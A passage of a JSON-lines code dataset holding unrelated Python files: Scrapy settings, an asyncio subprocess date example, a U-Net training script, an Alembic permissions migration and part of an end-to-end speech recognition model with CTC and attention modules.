http://doc.scrapy.org/en/latest/topics/autothrottle.html\n#AUTOTHROTTLE_ENABLED = True\n# The initial download delay\n#AUTOTHROTTLE_START_DELAY = 5\n# The maximum download delay to be set in case of high latencies\n#AUTOTHROTTLE_MAX_DELAY = 60\n# The average number of requests Scrapy should be sending in parallel to\n# each remote server\n#AUTOTHROTTLE_TARGET_CONCURRENCY = 1.0\n# Enable showing throttling stats for every response received:\n#AUTOTHROTTLE_DEBUG = False\n\n# Enable and configure HTTP caching (disabled by default)\n# See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings\n#HTTPCACHE_ENABLED = True\n#HTTPCACHE_EXPIRATION_SECS = 0\n#HTTPCACHE_DIR = 'httpcache'\n#HTTPCACHE_IGNORE_HTTP_CODES = []\n#HTTPCACHE_STORAGE = 'scrapy.extensions.httpcache.FilesystemCacheStorage'\n\n#LOG_FILE='scrapy.log'\n#LOG_STDOUT=True\nDOWNLOAD_TIMEOUT = 10\n\n#DEPTH_PRIORITY = 1\n#SCHEDULER_DISK_QUEUE = 'scrapy.squeue.PickleFifoDiskQueue'\n#SCHEDULER_MEMORY_QUEUE = 'scrapy.squeue.FifoMemoryQueue'\n\n#AUTOTHROTTLE_ENABLED = True","sub_path":"paperCrawl/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"169989530","text":"#!/usr/local/bin/python3\n# coding: UTF-8\n# Author: David\n# Email: youchen.du@gmail.com\n# Created: 2017-05-09 18:34\n# Last modified: 2017-05-09 18:51\n# Filename: subprocess_transport_protocol.py\n# Description:\nimport asyncio\nimport sys\n\n\nclass DateProtocol(asyncio.SubprocessProtocol):\n def __init__(self, exit_future):\n self.exit_future = exit_future\n self.output = bytearray()\n\n def pipe_data_received(self, fd, data):\n self.output.extend(data)\n\n def process_exited(self):\n self.exit_future.set_result(True)\n\n\nasync def get_date(loop):\n code = 'import datetime; print(datetime.datetime.now())'\n exit_future = asyncio.Future(loop=loop)\n\n create = loop.subprocess_exec(lambda: DateProtocol(exit_future),\n sys.executable, '-c', code,\n stdin=None, stderr=None)\n transport, protocol = await create\n\n await exit_future\n\n transport.close()\n\n data = bytes(protocol.output)\n return data.decode('ascii').rstrip()\n\n\nif sys.platform == 'win32':\n loop = asyncio.ProactorEventLoop()\nelse:\n loop = asyncio.get_event_loop()\n\ndate = loop.run_until_complete(get_date(loop))\nprint('Current date: {}'.format(date))\nloop.close()\n","sub_path":"Python/asyncio/subprocess_transport_protocol.py","file_name":"subprocess_transport_protocol.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"551580662","text":"import matplotlib as mpl\nmpl.rcParams['axes.grid'] = False\nmpl.rcParams['figure.figsize'] = (12,12)\nfrom U_net import *\nfrom losses import *\nimport os\nimport random\nfrom datagen import *\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nfrom losses import *\nimport zipfile\nfrom generate_augmented_images import *\n\n\n\nwith zipfile.ZipFile('../data/training.zip', 'r') as zip_ref:\n zip_ref.extractall('../data')\n\n## Seeding\nseed = 2\nrandom.seed = seed\nnp.random.seed = seed\ntf.seed = seed\nepochs = 100\n\ndataset_path = \"../data/\"\ntrain_path = os.path.join(dataset_path, \"training/\")\n\n\n#We perform data augmentation:\n\nimgs_dir='../data/training/images/'\ngt_imgs_dir='../data/training/groundtruth/'\n\nprint('Augmenting data size to 1600 images')\ngenerate_flipped_images(imgs_dir, gt_imgs_dir)\ngenerate_transposed_images(imgs_dir, gt_imgs_dir)\ngenerate_rotated_by_45_degrees_images(imgs_dir, gt_imgs_dir)\nprint('Data augmentation finished')\n\n\ntrain_ids = []\npath = train_path + 'images'\n\nfiles = os.listdir(path)\nfor name in files:\n train_ids.append(name)\n\nrandom.Random(seed).shuffle(train_ids)\n\nimage_size = 400\nbatch_size = 6\n\nval_data_size = 400\n\nvalid_ids = train_ids[:val_data_size]\ntrain_ids = train_ids[val_data_size:]\n\nsave_model_path = '/tmp/weights.h5'\ncp = tf.keras.callbacks.ModelCheckpoint(filepath=save_model_path, monitor='val_dice_loss', save_best_only=True, verbose=1)\n\ntrain_gen = DataGen(train_ids, train_path, image_size=image_size, batch_size=batch_size)\nvalid_gen = DataGen(valid_ids, train_path, image_size=image_size, batch_size=batch_size)\n\ntrain_steps = len(train_ids)//batch_size\nvalid_steps = len(valid_ids)//batch_size\n\nmodel=ResUNet(image_size,kernel_size=(5,5))\nmodel.compile('adam',loss=bce, metrics=[dice_loss, bce, tf.keras.metrics.Accuracy(), tf.keras.metrics.Precision(), tf.keras.metrics.Recall()])\n\nhistory=model.fit_generator(train_gen, validation_data=valid_gen, steps_per_epoch=train_steps, validation_steps=valid_steps,\n epochs=epochs,callbacks= [cp])\n\ndice = history.history['dice_loss']\nval_dice = history.history['val_dice_loss']\n\nloss = history.history['loss']\nval_loss = history.history['val_loss']\n\nepochs_range = range(epochs)\n\nplt.figure(figsize=(16, 8))\nplt.subplot(1, 2, 1)\nplt.plot(epochs_range, dice, label='Training Dice Loss')\nplt.plot(epochs_range, val_dice, label='Validation Dice Loss')\nplt.legend(loc='upper right')\nplt.title('Training and Validation Dice Loss')\n\nplt.subplot(1, 2, 2)\nplt.plot(epochs_range, loss, label='Training Loss')\nplt.plot(epochs_range, val_loss, label='Validation Loss')\nplt.legend(loc='upper right')\nplt.title('Training and Validation Loss')\n\nplt.show()\nplt.savefig('Loss.png')","sub_path":"scripts/train_unet.py","file_name":"train_unet.py","file_ext":"py","file_size_in_byte":2705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"157629899","text":"\"\"\"empty message\n\nRevision ID: f4b84bcf493c\nRevises: 81e14ea96bf3\nCreate Date: 2017-03-14 17:20:28.827296\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = 'f4b84bcf493c'\ndown_revision = '81e14ea96bf3'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n #Step 1\" Create Table Permissions\n op.create_table('permissions',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('owner_id', sa.Integer(), nullable=True),\n sa.Column('dataset_id', sa.Integer(), nullable=True),\n sa.Column('collection_id', sa.Integer(), nullable=True),\n sa.Column('can_read', sa.Boolean(), nullable=True),\n sa.Column('can_interact', sa.Boolean(), nullable=True),\n sa.Column('can_fork', sa.Boolean(), nullable=True),\n sa.ForeignKeyConstraint(['collection_id'], ['collections.id'], ),\n sa.ForeignKeyConstraint(['dataset_id'], ['datasets.id'], ),\n sa.ForeignKeyConstraint(['owner_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n\n #Step 2: Migrate data (collection id and user id) from collections to permissions\n permissions = sa.sql.table('permissions',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('owner_id', sa.Integer(), nullable=True),\n sa.Column('dataset_id', sa.Integer(), nullable=True),\n sa.Column('collection_id', sa.Integer(), nullable=True),\n sa.Column('can_read', sa.Boolean(), nullable=True),\n sa.Column('can_interact', sa.Boolean(), nullable=True),\n sa.Column('can_fork', sa.Boolean(), nullable=True),\n )\n conn = op.get_bind()\n res = conn.execute(\"SELECT id, user_id FROM collections\")\n results = res.fetchall()\n collection_permissions = [{'collection_id':r[0], 'owner_id':r[1], 'can_read':True, 'can_interact':True, 'can_fork':False} for r in results]\n op.bulk_insert(permissions, collection_permissions)\n \n # Step 3 : Drop column user_id\n naming_convention = {\n \"fk\": \"fk_%(table_name)s_%(column_0_name)s_%(referred_table_name)s\",\n }\n with op.batch_alter_table('collections', naming_convention=naming_convention, schema=None) as batch_op:\n batch_op.drop_constraint(\"fk_collections_user_id_users\", type_='foreignkey')\n batch_op.drop_column('user_id')\n\n\n res = conn.execute(\"SELECT user_id, dataset_id, owner FROM accesses\")\n results = res.fetchall()\n dataset_permissions = []\n for r in results:\n if r[2]:\n perm = {'dataset_id': r[1], 'owner_id':r[0], 'can_read':True, 'can_interact':True, 'can_fork':False}\n dataset_permissions.append(perm)\n op.bulk_insert(permissions, dataset_permissions)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n # Step 1 : Create Column user_id in collections\n naming_convention = {\n \"fk\": \"fk_%(table_name)s_%(column_0_name)s_%(referred_table_name)s\",\n }\n with op.batch_alter_table('collections', naming_convention=naming_convention, schema=None) as batch_op:\n batch_op.add_column(sa.Column('user_id', sa.INTEGER(), nullable=True))\n batch_op.create_foreign_key(\"fk_collections_user_id_users\", 'users', ['user_id'], ['id'])\n #Step 2 Migrate Data back to collections\n conn = op.get_bind()\n res = conn.execute(\"SELECT collection_id, owner_id FROM permissions WHERE collection_id IS NOT NULL\")\n results = res.fetchall()\n for r in results:\n conn.execute(\"UPDATE collections SET user_id={} WHERE id={}\".format(r[1], r[0]))\n # Step 3 : Drop table Permissions\n op.drop_table('permissions')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/f4b84bcf493c_.py","file_name":"f4b84bcf493c_.py","file_ext":"py","file_size_in_byte":3680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"80348828","text":"#!/usr/bin/env python\n\n# Copyright 2017 Johns Hopkins University (Shinji Watanabe)\n# Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0)\n\n\nfrom __future__ import division\n\nimport logging\nimport math\nimport sys\n\nimport chainer\nimport numpy as np\nimport six\nimport torch\nimport torch.nn.functional as F\nimport warpctc_pytorch as warp_ctc\n\nfrom chainer import reporter\nfrom torch.autograd import Variable\nfrom torch.nn.utils.rnn import pack_padded_sequence\nfrom torch.nn.utils.rnn import pad_packed_sequence\n\nfrom ctc_prefix_score import CTCPrefixScore\nfrom e2e_asr_common import end_detect\nfrom e2e_asr_common import label_smoothing_dist\n\nCTC_LOSS_THRESHOLD = 10000\nCTC_SCORING_RATIO = 1.5\nMAX_DECODER_OUTPUT = 5\n\n\ndef to_cuda(m, x):\n assert isinstance(m, torch.nn.Module)\n device_id = torch.cuda.device_of(next(m.parameters()).data).idx\n if device_id == -1:\n return x\n return x.cuda(device_id)\n\n\ndef lecun_normal_init_parameters(module):\n for p in module.parameters():\n data = p.data\n if data.dim() == 1:\n # bias\n data.zero_()\n elif data.dim() == 2:\n # linear weight\n n = data.size(1)\n stdv = 1. / math.sqrt(n)\n data.normal_(0, stdv)\n elif data.dim() == 4:\n # conv weight\n n = data.size(1)\n for k in data.size()[2:]:\n n *= k\n stdv = 1. / math.sqrt(n)\n data.normal_(0, stdv)\n else:\n raise NotImplementedError\n\n\n# get output dim for latter BLSTM\ndef _get_vgg2l_odim(idim, in_channel=3, out_channel=128):\n idim = idim / in_channel\n idim = np.ceil(np.array(idim, dtype=np.float32) / 2) # 1st max pooling\n idim = np.ceil(np.array(idim, dtype=np.float32) / 2) # 2nd max pooling\n return int(idim) * out_channel # numer of channels\n\n\n# get output dim for latter BLSTM\ndef _get_max_pooled_size(idim, out_channel=128, n_layers=2, ksize=2, stride=2):\n for _ in range(n_layers):\n idim = math.floor((idim - (ksize - 1) - 1) / stride)\n return idim # numer of channels\n\n\ndef linear_tensor(linear, x):\n '''Apply linear matrix operation only for the last dimension of a tensor\n\n :param Link linear: Linear link (M x N matrix)\n :param Variable x: Tensor (D_1 x D_2 x ... x M matrix)\n :return:\n :param Variable x: Tensor (D_1 x D_2 x ... x N matrix)\n '''\n y = linear(x.contiguous().view((-1, x.size()[-1])))\n return y.view((x.size()[:-1] + (-1,)))\n\n\nclass Reporter(chainer.Chain):\n def report(self, loss_ctc, loss_att, acc, mtl_loss):\n reporter.report({'loss_ctc': loss_ctc}, self)\n reporter.report({'loss_att': loss_att}, self)\n reporter.report({'acc': acc}, self)\n logging.info('mtl loss:' + str(mtl_loss))\n reporter.report({'loss': mtl_loss}, self)\n\n\n# TODO(watanabe) merge Loss and E2E: there is no need to make these separately\nclass Loss(torch.nn.Module):\n def __init__(self, predictor, mtlalpha):\n super(Loss, self).__init__()\n self.mtlalpha = mtlalpha\n self.loss = None\n self.accuracy = None\n self.predictor = predictor\n self.reporter = Reporter()\n\n def forward(self, x):\n '''Loss forward\n\n :param x:\n :return:\n '''\n self.loss = None\n loss_ctc, loss_att, acc = self.predictor(x)\n alpha = self.mtlalpha\n if alpha == 0:\n self.loss = loss_att\n loss_att_data = loss_att.data[0]\n loss_ctc_data = None\n elif alpha == 1:\n self.loss = loss_ctc\n loss_att_data = None\n loss_ctc_data = loss_ctc.data[0]\n else:\n self.loss = alpha * loss_ctc + (1 - alpha) * loss_att\n loss_att_data = loss_att.data[0]\n loss_ctc_data = loss_ctc.data[0]\n\n if self.loss.data[0] < CTC_LOSS_THRESHOLD and not math.isnan(self.loss.data[0]):\n self.reporter.report(loss_ctc_data, loss_att_data, acc, self.loss.data[0])\n else:\n logging.warning('loss (=%f) is not correct', self.loss.data)\n\n return self.loss\n\n\ndef pad_list(xs, pad_value=float(\"nan\")):\n assert isinstance(xs[0], Variable)\n n_batch = len(xs)\n max_len = max(x.size(0) for x in xs)\n pad = Variable(xs[0].data.new(n_batch, max_len, * xs[0].size()[1:]).zero_() + pad_value)\n for i in range(n_batch):\n pad[i, :xs[i].size(0)] = xs[i]\n return pad\n\n\ndef set_forget_bias_to_one(bias):\n n = bias.size(0)\n start, end = n // 4, n // 2\n bias.data[start:end].fill_(1.)\n\n\nclass E2E(torch.nn.Module):\n def __init__(self, idim, odim, args):\n super(E2E, self).__init__()\n self.etype = args.etype\n self.verbose = args.verbose\n self.char_list = args.char_list\n self.outdir = args.outdir\n self.mtlalpha = args.mtlalpha\n\n # below means the last number becomes eos/sos ID\n # note that sos/eos IDs are identical\n self.sos = odim - 1\n self.eos = odim - 1\n\n # subsample info\n # +1 means input (+1) and layers outputs (args.elayer)\n subsample = np.ones(args.elayers + 1, dtype=np.int)\n if args.etype == 'blstmp':\n ss = args.subsample.split(\"_\")\n for j in range(min(args.elayers + 1, len(ss))):\n subsample[j] = int(ss[j])\n else:\n logging.warning(\n 'Subsampling is not performed for vgg*. It is performed in max pooling layers at CNN.')\n logging.info('subsample: ' + ' '.join([str(x) for x in subsample]))\n self.subsample = subsample\n\n # label smoothing info\n if args.lsm_type:\n logging.info(\"Use label smoothing with \" + args.lsm_type)\n labeldist = label_smoothing_dist(odim, args.lsm_type, transcript=args.train_label)\n else:\n labeldist = None\n\n # encoder\n self.enc = Encoder(args.etype, idim, args.elayers, args.eunits, args.eprojs,\n self.subsample, args.dropout_rate)\n # ctc\n self.ctc = CTC(odim, args.eprojs, args.dropout_rate)\n # attention\n if args.atype == 'noatt':\n self.att = NoAtt()\n elif args.atype == 'dot':\n self.att = AttDot(args.eprojs, args.dunits, args.adim)\n elif args.atype == 'add':\n self.att = AttAdd(args.eprojs, args.dunits, args.adim)\n elif args.atype == 'location':\n self.att = AttLoc(args.eprojs, args.dunits,\n args.adim, args.aconv_chans, args.aconv_filts)\n elif args.atype == 'location2d':\n self.att = AttLoc2D(args.eprojs, args.dunits,\n args.adim, args.awin, args.aconv_chans, args.aconv_filts)\n elif args.atype == 'location_recurrent':\n self.att = AttLocRec(args.eprojs, args.dunits,\n args.adim, args.aconv_chans, args.aconv_filts)\n elif args.atype == 'coverage':\n self.att = AttCov(args.eprojs, args.dunits, args.adim, args.awin)\n elif args.atype == 'coverage_location':\n self.att = AttCovLoc(args.eprojs, args.dunits, args.adim, args.awin,\n args.aconv_chans, args.aconv_filts)\n elif args.atype == 'multi_head_dot':\n self.att = AttMultiHeadDot(args.eprojs, args.dunits,\n args.aheads, args.adim, args.adim)\n elif args.atype == 'multi_head_add':\n self.att = AttMultiHeadAdd(args.eprojs, args.dunits,\n args.aheads, args.adim, args.adim)\n elif args.atype == 'multi_head_loc':\n self.att = AttMultiHeadLoc(args.eprojs, args.dunits,\n args.aheads, args.adim, args.adim,\n args.aconv_chans, args.aconv_filts)\n elif args.atype == 'multi_head_multi_res_loc':\n self.att = AttMultiHeadMultiResLoc(args.eprojs, args.dunits,\n args.aheads, args.adim, args.adim,\n args.aconv_chans, args.aconv_filts)\n else:\n logging.error(\n \"Error: need to specify an appropriate attention archtecture\")\n sys.exit()\n # decoder\n self.dec = Decoder(args.eprojs, odim, args.dlayers, args.dunits,\n self.sos, self.eos, self.att, self.verbose, self.char_list,\n labeldist, args.lsm_weight)\n\n # weight initialization\n self.init_like_chainer()\n # additional forget-bias init in encoder ?\n # for m in self.modules():\n # if isinstance(m, torch.nn.LSTM):\n # for name, p in m.named_parameters():\n # if \"bias_ih\" in name:\n # set_forget_bias_to_one(p)\n\n def init_like_chainer(self):\n \"\"\"Initialize weight like chainer\n\n chainer basically uses LeCun way: W ~ Normal(0, fan_in ** -0.5), b = 0\n pytorch basically uses W, b ~ Uniform(-fan_in**-0.5, fan_in**-0.5)\n\n however, there are two exceptions as far as I know.\n - EmbedID.W ~ Normal(0, 1)\n - LSTM.upward.b[forget_gate_range] = 1 (but not used in NStepLSTM)\n \"\"\"\n lecun_normal_init_parameters(self)\n\n # exceptions\n # embed weight ~ Normal(0, 1)\n self.dec.embed.weight.data.normal_(0, 1)\n # forget-bias = 1.0\n # https://discuss.pytorch.org/t/set-forget-gate-bias-of-lstm/1745\n for l in six.moves.range(len(self.dec.decoder)):\n set_forget_bias_to_one(self.dec.decoder[l].bias_ih)\n\n # x[i]: ('utt_id', {'ilen':'xxx',...}})\n def forward(self, data):\n '''E2E forward\n\n :param data:\n :return:\n '''\n # utt list of frame x dim\n xs = [d[1]['feat'] for d in data]\n # remove 0-output-length utterances\n tids = [d[1]['tokenid'].split() for d in data]\n filtered_index = filter(lambda i: len(tids[i]) > 0, range(len(xs)))\n sorted_index = sorted(filtered_index, key=lambda i: -len(xs[i]))\n if len(sorted_index) != len(xs):\n logging.warning('Target sequences include empty tokenid (batch %d -> %d).' % (\n len(xs), len(sorted_index)))\n xs = [xs[i] for i in sorted_index]\n # utt list of olen\n ys = [np.fromiter(map(int, tids[i]), dtype=np.int64)\n for i in sorted_index]\n ys = [to_cuda(self, Variable(torch.from_numpy(y))) for y in ys]\n\n # subsample frame\n xs = [xx[::self.subsample[0], :] for xx in xs]\n ilens = np.fromiter((xx.shape[0] for xx in xs), dtype=np.int64)\n hs = [to_cuda(self, Variable(torch.from_numpy(xx))) for xx in xs]\n\n # 1. encoder\n xpad = pad_list(hs)\n hpad, hlens = self.enc(xpad, ilens)\n\n # # 3. CTC loss\n if self.mtlalpha == 0:\n loss_ctc = None\n else:\n loss_ctc = self.ctc(hpad, hlens, ys)\n\n # 4. attention loss\n if self.mtlalpha == 1:\n loss_att = None\n acc = None\n else:\n loss_att, acc = self.dec(hpad, hlens, ys)\n\n return loss_ctc, loss_att, acc\n\n def recognize(self, x, recog_args, char_list, rnnlm=None):\n '''E2E beam search\n\n :param x:\n :param recog_args:\n :param char_list:\n :return:\n '''\n prev = self.training\n self.eval()\n # subsample frame\n x = x[::self.subsample[0], :]\n ilen = [x.shape[0]]\n h = to_cuda(self, Variable(torch.from_numpy(\n np.array(x, dtype=np.float32)), volatile=True))\n\n # 1. encoder\n # make a utt list (1) to use the same interface for encoder\n h, _ = self.enc(h.unsqueeze(0), ilen)\n\n # calculate log P(z_t|X) for CTC scores\n if recog_args.ctc_weight > 0.0:\n lpz = self.ctc.log_softmax(h).data[0]\n else:\n lpz = None\n\n # 2. decoder\n # decode the first utterance\n y = self.dec.recognize_beam(h[0], lpz, recog_args, char_list, rnnlm)\n\n if prev:\n self.train()\n return y\n\n\n# ------------- CTC Network --------------------------------------------------------------------------------------------\nclass _ChainerLikeCTC(warp_ctc._CTC):\n @staticmethod\n def forward(ctx, acts, labels, act_lens, label_lens):\n is_cuda = True if acts.is_cuda else False\n acts = acts.contiguous()\n loss_func = warp_ctc.gpu_ctc if is_cuda else warp_ctc.cpu_ctc\n grads = torch.zeros(acts.size()).type_as(acts)\n minibatch_size = acts.size(1)\n costs = torch.zeros(minibatch_size).cpu()\n loss_func(acts,\n grads,\n labels,\n label_lens,\n act_lens,\n minibatch_size,\n costs)\n # modified only here from original\n costs = torch.FloatTensor([costs.sum()]) / acts.size(1)\n ctx.grads = Variable(grads)\n ctx.grads /= ctx.grads.size(1)\n\n return costs\n\n\ndef chainer_like_ctc_loss(acts, labels, act_lens, label_lens):\n \"\"\"Chainer like CTC Loss\n\n acts: Tensor of (seqLength x batch x outputDim) containing output from network\n labels: 1 dimensional Tensor containing all the targets of the batch in one sequence\n act_lens: Tensor of size (batch) containing size of each output sequence from the network\n act_lens: Tensor of (batch) containing label length of each example\n \"\"\"\n assert len(labels.size()) == 1 # labels must be 1 dimensional\n from torch.nn.modules.loss import _assert_no_grad\n _assert_no_grad(labels)\n _assert_no_grad(act_lens)\n _assert_no_grad(label_lens)\n return _ChainerLikeCTC.apply(acts, labels, act_lens, label_lens)\n\n\nclass CTC(torch.nn.Module):\n def __init__(self, odim, eprojs, dropout_rate):\n super(CTC, self).__init__()\n self.dropout_rate = dropout_rate\n self.loss = None\n self.ctc_lo = torch.nn.Linear(eprojs, odim)\n self.loss_fn = chainer_like_ctc_loss # CTCLoss()\n\n def forward(self, hpad, ilens, ys):\n '''CTC forward\n\n :param hs:\n :param ys:\n :return:\n '''\n self.loss = None\n ilens = Variable(torch.from_numpy(np.fromiter(ilens, dtype=np.int32)))\n olens = Variable(torch.from_numpy(np.fromiter(\n (x.size(0) for x in ys), dtype=np.int32)))\n\n # zero padding for hs\n y_hat = linear_tensor(\n self.ctc_lo, F.dropout(hpad, p=self.dropout_rate))\n\n # zero padding for ys\n y_true = torch.cat(ys).cpu().int() # batch x olen\n\n # get length info\n logging.info(self.__class__.__name__ + ' input lengths: ' + str(ilens))\n logging.info(self.__class__.__name__ + ' output lengths: ' + str(olens))\n\n # get ctc loss\n # expected shape of seqLength x batchSize x alphabet_size\n y_hat = y_hat.transpose(0, 1)\n self.loss = to_cuda(self, self.loss_fn(y_hat, y_true, ilens, olens))\n logging.info('ctc loss:' + str(self.loss.data[0]))\n\n return self.loss\n\n def log_softmax(self, hpad):\n '''log_softmax of frame activations\n\n :param hs:\n :return:\n '''\n return F.log_softmax(linear_tensor(self.ctc_lo, hpad), dim=2)\n\n\ndef mask_by_length(xs, length, fill=0):\n assert xs.size(0) == len(length)\n ret = Variable(xs.data.new(*xs.size()).fill_(fill))\n for i, l in enumerate(length):\n ret[i, :l] = xs[i, :l]\n return ret\n\n\n# ------------- Attention Network --------------------------------------------------------------------------------------\nclass NoAtt(torch.nn.Module):\n '''No attention'''\n\n def __init__(self):\n super(NoAtt, self).__init__()\n self.h_length = None\n self.enc_h = None\n self.pre_compute_enc_h = None\n self.c = None\n\n def reset(self):\n '''reset states'''\n self.h_length = None\n self.enc_h = None\n self.pre_compute_enc_h = None\n self.c = None\n\n def forward(self, enc_hs_pad, enc_hs_len, dec_z, att_prev):\n '''NoAtt forward\n\n :param Variable enc_hs_pad: padded encoder hidden state (B x T_max x D_enc)\n :param list enc_h_len: padded encoder hidden state lenght (B)\n :param Variable dec_z: dummy (does not use)\n :param Variable att_prev: dummy (does not use)\n :return: attentioin weighted encoder state (B, D_enc)\n :rtype: Variable\n :return: previous attentioin weights\n :rtype: Variable\n '''\n\n batch = len(enc_hs_pad)\n # pre-compute all h outside the decoder loop\n if self.pre_compute_enc_h is None:\n self.enc_h = enc_hs_pad # utt x frame x hdim\n self.h_length = self.enc_h.size(1)\n\n # initialize attention weight with uniform dist.\n if att_prev is None:\n att_prev = [Variable(enc_hs_pad.data.new(\n l).zero_() + (1.0 / l)) for l in enc_hs_len]\n # if no bias, 0 0-pad goes 0\n att_prev = pad_list(att_prev, 0)\n self.c = torch.sum(self.enc_h * att_prev.view(batch, self.h_length, 1), dim=1)\n\n return self.c, att_prev\n\n\nclass AttDot(torch.nn.Module):\n '''Dot product attention\n\n :param int eprojs: # projection-units of encoder\n :param int dunits: # units of decoder\n :param int att_dim: attention dimension\n '''\n\n def __init__(self, eprojs, dunits, att_dim):\n super(AttDot, self).__init__()\n self.mlp_enc = torch.nn.Linear(eprojs, att_dim)\n self.mlp_dec = torch.nn.Linear(dunits, att_dim)\n\n self.dunits = dunits\n self.eprojs = eprojs\n self.att_dim = att_dim\n self.h_length = None\n self.enc_h = None\n self.pre_compute_enc_h = None\n\n def reset(self):\n '''reset states'''\n self.h_length = None\n self.enc_h = None\n self.pre_compute_enc_h = None\n\n def forward(self, enc_hs_pad, enc_hs_len, dec_z, att_prev, scaling=2.0):\n '''AttDot forward\n\n :param Variable enc_hs_pad: padded encoder hidden state (B x T_max x D_enc)\n :param list enc_h_len: padded encoder hidden state lenght (B)\n :param Variable dec_z: dummy (does not use)\n :param Variable att_prev: dummy (does not use)\n :param float scaling: scaling parameter before applying softmax\n :return: attentioin weighted encoder state (B, D_enc)\n :rtype: Variable\n :return: previous attentioin weight (B x T_max)\n :rtype: Variable\n '''\n\n batch = enc_hs_pad.size(0)\n # pre-compute all h outside the decoder loop\n if self.pre_compute_enc_h is None:\n self.enc_h = enc_hs_pad # utt x frame x hdim\n self.h_length = self.enc_h.size(1)\n # utt x frame x att_dim\n self.pre_compute_enc_h = torch.tanh(\n linear_tensor(self.mlp_enc, self.enc_h))\n\n if dec_z is None:\n dec_z = Variable(enc_hs_pad.data.new(batch, self.dunits).zero_())\n else:\n dec_z = dec_z.view(batch, self.dunits)\n\n e = torch.sum(self.pre_compute_enc_h * torch.tanh(self.mlp_dec(dec_z)).view(batch, 1, self.att_dim),\n dim=2) # utt x frame\n w = F.softmax(scaling * e, dim=1)\n\n # weighted sum over flames\n # utt x hdim\n # NOTE use bmm instead of sum(*)\n c = torch.sum(self.enc_h * w.view(batch, self.h_length, 1), dim=1)\n return c, w\n\n\nclass AttAdd(torch.nn.Module):\n '''Additive attention\n\n :param int eprojs: # projection-units of encoder\n :param int dunits: # units of decoder\n :param int att_dim: attention dimension\n '''\n\n def __init__(self, eprojs, dunits, att_dim):\n super(AttAdd, self).__init__()\n self.mlp_enc = torch.nn.Linear(eprojs, att_dim)\n self.mlp_dec = torch.nn.Linear(dunits, att_dim, bias=False)\n self.gvec = torch.nn.Linear(att_dim, 1)\n self.dunits = dunits\n self.eprojs = eprojs\n self.att_dim = att_dim\n self.h_length = None\n self.enc_h = None\n self.pre_compute_enc_h = None\n\n def reset(self):\n '''reset states'''\n self.h_length = None\n self.enc_h = None\n self.pre_compute_enc_h = None\n\n def forward(self, enc_hs_pad, enc_hs_len, dec_z, att_prev, scaling=2.0):\n '''AttLoc forward\n\n :param Variable enc_hs_pad: padded encoder hidden state (B x T_max x D_enc)\n :param list enc_h_len: padded encoder hidden state lenght (B)\n :param Variable dec_z: docoder hidden state (B x D_dec)\n :param Variable att_prev: dummy (does not use)\n :param float scaling: scaling parameter before applying softmax\n :return: attentioin weighted encoder state (B, D_enc)\n :rtype: Variable\n :return: previous attentioin weights (B x T_max)\n :rtype: Variable\n '''\n\n batch = len(enc_hs_pad)\n # pre-compute all h outside the decoder loop\n if self.pre_compute_enc_h is None:\n self.enc_h = enc_hs_pad # utt x frame x hdim\n self.h_length = self.enc_h.size(1)\n # utt x frame x att_dim\n self.pre_compute_enc_h = linear_tensor(self.mlp_enc, self.enc_h)\n\n if dec_z is None:\n dec_z = Variable(enc_hs_pad.data.new(batch, self.dunits).zero_())\n else:\n dec_z = dec_z.view(batch, self.dunits)\n\n # dec_z_tiled: utt x frame x att_dim\n dec_z_tiled = self.mlp_dec(dec_z).view(batch, 1, self.att_dim)\n\n # dot with gvec\n # utt x frame x att_dim -> utt x frame\n # NOTE consider zero padding when compute w.\n e = linear_tensor(self.gvec, torch.tanh(\n self.pre_compute_enc_h + dec_z_tiled)).squeeze(2)\n w = F.softmax(scaling * e, dim=1)\n\n # weighted sum over flames\n # utt x hdim\n # NOTE use bmm instead of sum(*)\n c = torch.sum(self.enc_h * w.view(batch, self.h_length, 1), dim=1)\n\n return c, w\n\n\nclass AttLoc(torch.nn.Module):\n '''location-aware attention\n\n Reference: Attention-Based Models for Speech Recognition\n (https://arxiv.org/pdf/1506.07503.pdf)\n\n :param int eprojs: # projection-units of encoder\n :param int dunits: # units of decoder\n :param int att_dim: attention dimension\n :param int aconv_chans: # channels of attention convolution\n :param int aconv_filts: filter size of attention convolution\n '''\n\n def __init__(self, eprojs, dunits, att_dim, aconv_chans, aconv_filts):\n super(AttLoc, self).__init__()\n self.mlp_enc = torch.nn.Linear(eprojs, att_dim)\n self.mlp_dec = torch.nn.Linear(dunits, att_dim, bias=False)\n self.mlp_att = torch.nn.Linear(aconv_chans, att_dim, bias=False)\n self.loc_conv = torch.nn.Conv2d(\n 1, aconv_chans, (1, 2 * aconv_filts + 1), padding=(0, aconv_filts), bias=False)\n self.gvec = torch.nn.Linear(att_dim, 1)\n\n self.dunits = dunits\n self.eprojs = eprojs\n self.att_dim = att_dim\n self.h_length = None\n self.enc_h = None\n self.pre_compute_enc_h = None\n self.aconv_chans = aconv_chans\n\n def reset(self):\n '''reset states'''\n self.h_length = None\n self.enc_h = None\n self.pre_compute_enc_h = None\n\n def forward(self, enc_hs_pad, enc_hs_len, dec_z, att_prev, scaling=2.0):\n '''AttLoc forward\n\n :param Variable enc_hs_pad: padded encoder hidden state (B x T_max x D_enc)\n :param list enc_h_len: padded encoder hidden state lenght (B)\n :param Variable dec_z: docoder hidden state (B x D_dec)\n :param Variable att_prev: previous attetion weight (B x T_max)\n :param float scaling: scaling parameter before applying softmax\n :return: attentioin weighted encoder state (B, D_enc)\n 